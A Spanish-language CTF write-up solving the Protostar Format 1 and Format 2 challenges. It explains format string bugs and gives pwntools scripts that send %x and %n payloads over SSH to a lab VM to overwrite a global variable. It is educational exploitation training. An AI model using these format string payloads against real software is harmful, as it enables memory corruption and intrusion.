Hoy vamos a aprender a resolver algunos retos de exploiting conocidos como Format String.
Continuaremos con los retos de Protostar en los que podemos ver el código fuente si nos atascamos.
Posts anteriores de exploiting: 1, 2, 3 y 4.
¿Qué es un exploit Format String?
Es una vulnerabilidad que se produce cuando la aplicación evalúa los datos enviados en una cadena como un comando, es decir no se valida la entrada correctamente.
Por ejemplo: printf (argv[1]);
Si el atacante pasa como primer argumento una cadena que contenga “%x” podría leer datos de la pila.
Format 1
About
objdump -t is your friend, and your input string lies far up the stack 🙂
This level is at /opt/protostar/bin/format1
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void vuln(char *string) { printf(string); if(target) { printf("you have modified the target :)\n"); } } int main(int argc, char **argv) { vuln(argv[1]); }
Como veis, debemos modificar la variable “target” para superar el reto.
Primero probemos la vulnerabilidad:
Tal y como leemos en el manual de printf, podemos utilizar %n para modificar una variable:
Code such as printf(foo); often indicates a bug, since foo may contain a % character. If
foo comes from untrusted user input, it may contain %n, causing the printf() call to write
to memory and creating a security hole.
Debemos intentar escribir en la dirección de memoria de la variable global target.
Para encontrar dicha dirección con objdump:
objdump -t format1 | grep 'target' 08049638 g O .bss 00000004 target
Veamos si somos capaces de escribir en la pila y localizar dónde lo escribimos. Para ello vamos a escribirnos un fuzzer:
#!/usr/bin/env python from pwn import * elf = ELF("format1") log.info("Target Address: %s" % hex(elf.sym['target'])) s = ssh(host='172.16.27.128' ,user='user', password='user', level='error') s.set_working_directory('/opt/protostar/bin/') for i in range(0, 1000, 50): payload = "A"*4 + "%x-"*i p = s.run(['./format1', payload]) out = p.recv() if "4141" in out: log.info(i) break
Más exactamente:
for i in range(100, 150): payload = "A"*4 + "%x-"*i p = s.run(['./format1', payload]) out = p.recv() if "4141" in out: log.info(i) break
Como veis, se localizan las “A” en la posición 124 aproximadamente. Ahora vamos a hacerlo con la dirección de target.
#!/usr/bin/env python from pwn import * elf = ELF("format1") log.info("Target Address: %s" % hex(elf.sym['target'])) s = ssh(host='172.16.27.128' ,user='user', password='user', level='error') s.set_working_directory('/opt/protostar/bin/') payload = p32(elf.sym['target']) + "A" + "-%126$x" p = s.run(['./format1', payload]) p.interactive()
Con el payload anterior somos capaces de localizar la variable, ahora podemos modificarla con %n.
#!/usr/bin/env python from pwn import * elf = ELF("format1") log.info("Target Address: %s" % hex(elf.sym['target'])) s = ssh(host='172.16.27.128' ,user='user', password='user', level='error') s.set_working_directory('/opt/protostar/bin/') payload = p32(elf.sym['target']) + "A" + "%126$n" p = s.run(['./format1', payload]) p.interactive()
Hemos superado el reto ya que estamos escribiendo en la dirección de memoria de target.
Format 2
This level moves on from format1 and shows how specific values can be written in memory.
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printf(buffer); if(target == 64) { printf("you have modified the target :)\n"); } else { printf("target is %d :(\n", target); } } int main(int argc, char **argv) { vuln(); }
Este reto es muy parecido al anterior ya que debemos modificar una variable target para superarlo, sin embargo el valor de la variable debe ser 64.
Comprobemos la vulnerabilidad:
#!/usr/bin/env python from pwn import * elf = ELF("format2") log.info("Target Address: %s" % hex(elf.sym['target'])) s = ssh(host='172.16.27.128' ,user='user', password='user', level='error') s.set_working_directory('/opt/protostar/bin/') payload = "A"*4 payload += "-%x-"*10 p = s.run('./format2') p.sendline(payload) print(p.recv())
Localizamos las “A” en la cuarta posición, vamos a cambiar las “A” por la dirección target.
payload = p32(elf.sym['target']) payload += "%4$x"
Perfecto, ya tenemos nuestra variable localizada, vamos a modificarla con %n.
payload = p32(elf.sym['target']) payload += "%4$n"
Este reto nos muestra el valor de la variable asi que no hace falta debuggear, sabemos que debemos añadir 60 caracteres en blanco antes del %n (el %n escribe en la variable el numero de caracter que lo precedan).
#!/usr/bin/env python from pwn import * elf = ELF("format2") log.info("Target Address: %s" % hex(elf.sym['target'])) s = ssh(host='172.16.27.128' ,user='user', password='user', level='error') s.set_working_directory('/opt/protostar/bin/') payload = p32(elf.sym['target']) payload += "%60x" payload += "%4$n" p = s.run('./format2') p.sendline(payload) print(p.recv())
Se echaba de menos este contenido!! Muy interesante!!